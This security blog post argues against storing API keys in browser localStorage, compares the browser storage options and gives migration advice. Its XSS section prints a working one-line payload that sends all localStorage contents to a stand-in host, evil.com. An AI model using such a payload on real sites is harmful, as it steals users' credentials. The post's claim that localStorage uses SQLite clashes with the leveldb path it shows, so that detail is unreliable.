API Key Storage: Why localStorage Is Dangerous and What to Use Instead

Published March 9, 2026 · SPUNK LLC · 10 min read

Storing API keys in localStorage is one of the most common security mistakes in web development. It is easy to do, the API is simple, and it works immediately. But localStorage was never designed for secrets. It provides zero encryption, zero access control, and is vulnerable to the most prevalent attack vector on the web: cross-site scripting.

This article explains exactly why localStorage is dangerous for API keys, compares it against every alternative storage mechanism available in the browser, and provides concrete migration strategies for each.

How localStorage Actually Works

The localStorage API stores key-value pairs as plain strings in a SQLite database on the user's file system. On Chrome, this file lives at:

~/Library/Application Support/Google/Chrome/Default/Local Storage/leveldb/

The data is not encrypted. It persists until explicitly deleted. Any JavaScript running on the same origin can read every value stored in localStorage. This includes:

The XSS Problem

Cross-site scripting is the number one vulnerability on the web. OWASP has ranked it in the top three for over a decade. Every web application has potential XSS vectors: user-generated content, URL parameters reflected in the DOM, third-party widgets, and compromised CDN scripts.

An XSS payload that steals localStorage is trivial:

// Attacker's XSS payload
new Image().src = 'https://evil.com/steal?data=' +
  encodeURIComponent(JSON.stringify(localStorage));

This single line exfiltrates every key-value pair in localStorage as a URL parameter on an image request. It executes in milliseconds, leaves no visible trace, and works on every browser. If your API keys are in localStorage, this payload delivers them to the attacker instantly.

Why "we sanitize input" is not sufficient

Input sanitization reduces XSS risk but does not eliminate it. A single missed edge case, a framework update that changes escaping behavior, or a third-party dependency with a DOM manipulation vulnerability is enough. Security engineers plan for the scenario where XSS occurs, not the scenario where it never does.

Comparing Every Browser Storage Option

sessionStorage

Identical to localStorage in terms of access control: any JavaScript on the same origin can read it. The only difference is that data is cleared when the tab closes. This reduces the window of exposure but does not prevent XSS-based exfiltration. If an attacker can execute JavaScript while the session is active, sessionStorage is equally compromised.

Verdict: Marginally better than localStorage but fundamentally the same vulnerability. Not suitable for API keys.

Cookies with HttpOnly and Secure flags

Cookies marked with HttpOnly cannot be read by JavaScript at all. This makes them immune to XSS-based exfiltration. The Secure flag ensures they are only transmitted over HTTPS, and SameSite=Strict prevents CSRF attacks.

Set-Cookie: api_token=sk_live_xxx;
  HttpOnly;
  Secure;
  SameSite=Strict;
  Path=/;
  Max-Age=86400

Verdict: The best option for tokens used in server communication. The browser automatically includes the cookie in requests, and JavaScript never has access to the value. However, cookies are sent with every request to the matching domain, which may expose the key in server logs if not handled carefully.

IndexedDB

IndexedDB provides structured storage with more capacity than localStorage. However, it has the same access control model: any JavaScript on the same origin can read all data. It is not a security improvement over localStorage for secret storage.

Verdict: Not suitable for API keys. Same XSS vulnerability as localStorage.

Web Crypto API with IndexedDB

The crypto.subtle API provides browser-native cryptographic operations. You can encrypt API keys using AES-GCM before storing them in IndexedDB. The encryption key is derived from a user-provided password using PBKDF2 or is generated and stored as a non-extractable CryptoKey object.

// Generate a non-extractable key
const key = await crypto.subtle.generateKey(
  { name: 'AES-GCM', length: 256 },
  false,  // non-extractable
  ['encrypt', 'decrypt']
);

// Encrypt the API key
const iv = crypto.getRandomValues(new Uint8Array(12));
const encrypted = await crypto.subtle.encrypt(
  { name: 'AES-GCM', iv },
  key,
  new TextEncoder().encode('sk_live_your_api_key')
);

// Store encrypted blob in IndexedDB
// The CryptoKey object can be stored in IndexedDB too
// but cannot be exported as raw bytes

Verdict: A strong option for client-side applications. An XSS attacker can call the decryption function if the key is in memory, but they cannot extract the raw CryptoKey. Combined with short session lifetimes and vault locking, this is a viable approach.

chrome.storage.local (Extension Storage)

The Chrome extension storage API is isolated from web page JavaScript. No content script injected by a compromised page can access it (though the extension's own content scripts can). Data is stored unencrypted on disk, but the access boundary is significantly stronger than localStorage.

Verdict: Good for browser extensions that manage API keys. Should be combined with encryption for high-value secrets.

The Recommended Architecture

For most web applications, the architecture should follow these principles:

  1. API keys should never exist in the browser. Server-to-server communication should use API keys directly. Your frontend should call your backend, which adds the API key before forwarding to third-party services. The browser never sees the key.
  2. Session tokens belong in HttpOnly cookies. Your authentication token should be a short-lived JWT or session ID stored in an HttpOnly, Secure, SameSite cookie. The server validates it on each request.
  3. If client-side storage is unavoidable (like a browser extension or a client-only tool), use the Web Crypto API to encrypt all secrets before storage. Derive the encryption key from a user password and clear it from memory on idle timeout.

Migrating Away from localStorage

For web applications

If your web application currently stores API keys in localStorage, the migration path depends on your architecture:

For browser extensions

Browser extensions should migrate from localStorage to chrome.storage.local with encryption:

  1. Read existing values from localStorage.
  2. Encrypt each value using crypto.subtle with a key derived from the user's master password.
  3. Store the encrypted blobs in chrome.storage.local.
  4. Delete the localStorage entries.
  5. Update all read/write operations to use the encrypted storage path.

For single-page applications

SPAs that manage tokens for authenticated API access should use the Backend for Frontend (BFF) pattern. The BFF is a lightweight server that handles token management:

Common Objections

"Our CSP prevents XSS"

Content Security Policy is a strong defense layer, but it is not perfect. CSP bypass techniques are regularly discovered. A strict CSP significantly reduces XSS risk, but it does not make localStorage safe for secrets. Defense in depth means not relying on any single layer.

"The key is already visible in the frontend source"

If the API key is embedded in your JavaScript bundle, localStorage vs. cookies is irrelevant because the key is already exposed. The solution is to move the key to your server, not to argue about where to store it on the client.

"It is just a development key"

Development keys often have broader permissions than production keys because developers grant themselves full access during development. A leaked development key can be more damaging than a carefully scoped production key. Treat all keys with the same security rigor.

Audit Your Codebase

Search your codebase for these patterns right now:

// Red flags to search for
localStorage.setItem('api_key'
localStorage.setItem('token'
localStorage.setItem('secret'
localStorage.setItem('auth'
localStorage.setItem('credential'

If you find any of these, you have a migration task. The longer secrets sit in localStorage, the longer they are exposed to every XSS vulnerability, every browser extension, and every shared computer session that accesses your application.

Move your keys to the server. Encrypt what must stay in the browser. Delete what should never have been stored. The tools exist and the patterns are proven. The only risk is inaction.